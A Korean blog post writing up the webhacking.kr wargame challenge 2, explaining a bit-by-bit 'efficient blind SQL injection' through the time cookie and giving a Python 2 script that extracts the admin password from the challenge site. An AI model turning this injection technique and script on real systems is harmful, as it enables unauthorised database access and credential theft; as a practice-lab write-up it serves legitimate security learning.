ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WebHacking.kr 2
    WebHacking/WebHacking.kr 2018. 2. 18. 19:45

    Write up 귀찮아서 안 올릴려다가 새로운 방법으로 블라인드 SQL 인젝션을 하는방법을 공부하여서 적게되었다.

    https://silnex.kro.kr/wordpress/2017/01/16/efficient-blind-sql-injection/

    위 사이트를 참고하면서 문제를 풀었다.
    time 쿠키에 sql injection을 할수있고 컬럼 이름과 테이블 이름은 게싱을 해야된다. 

    원래 포너블을 공부하다가 웹 해킹을 공부하니깐 웹에서 게싱 능력이 떨어지는것같다 ..
    board 테이블은 보면 가운데에보면 FreeB0aRd라는 글자가 적혀있다 이것이 테이블 이름 컬럼 이름은 password

    admin 비밀번호는 admin페이지이기때문에 게싱으로 admin이 테이블이름 컬럼 이름은 password로 떄려 맞출수있다


    Efficient Blind SQL injection 기법은 bin으로 2진수를 만들어주고 lpad함수로 최대 글자 수를 맞춰주고 이때 만들어진 2진수값을 알아내는 방식이다.

    속도면에서 보면 기본 blind보다 훨씬 빠르다.


    import urllib2
     
     
    bin_idx = 1
    pw_idx = 1
     
    temp = ''
    password = ''
     
    while True:
            url = 'http://webhacking.kr/challenge/web/web-02/index.php'
            req = urllib2.Request(url)
            req.add_header('User-Agent','Mozilla/5.0')
            timeCookie = '1518945580 and (select substr(lpad(bin(ascii(substr(Password,%d,1))),8,0),%d,1)=1 from admin)' %(pw_idx,bin_idx) #FreeB0aRd
            req.add_header('Cookie','PHPSESSID=710f4bb76d449371fbd41077c884f5dc; time='+timeCookie)
            data = urllib2.urlopen(req).read()
            print timeCookie
            if '2070-01-01 09:00:01' in data:
                    temp += '1'
                    bin_idx +=1
            else:
                    temp += '0'
                    bin_idx +=1
            if bin_idx > 8:
                    bin_idx = 1
                    pw_idx+=1
                    temp = chr(int(temp,2))
                    password += temp
                    temp = ''
            if len(password) == 10#9
                    break
    cs


    'WebHacking > WebHacking.kr' 카테고리의 다른 글

    WebHacking.kr  (0) 2018.02.23
Designed by Tistory.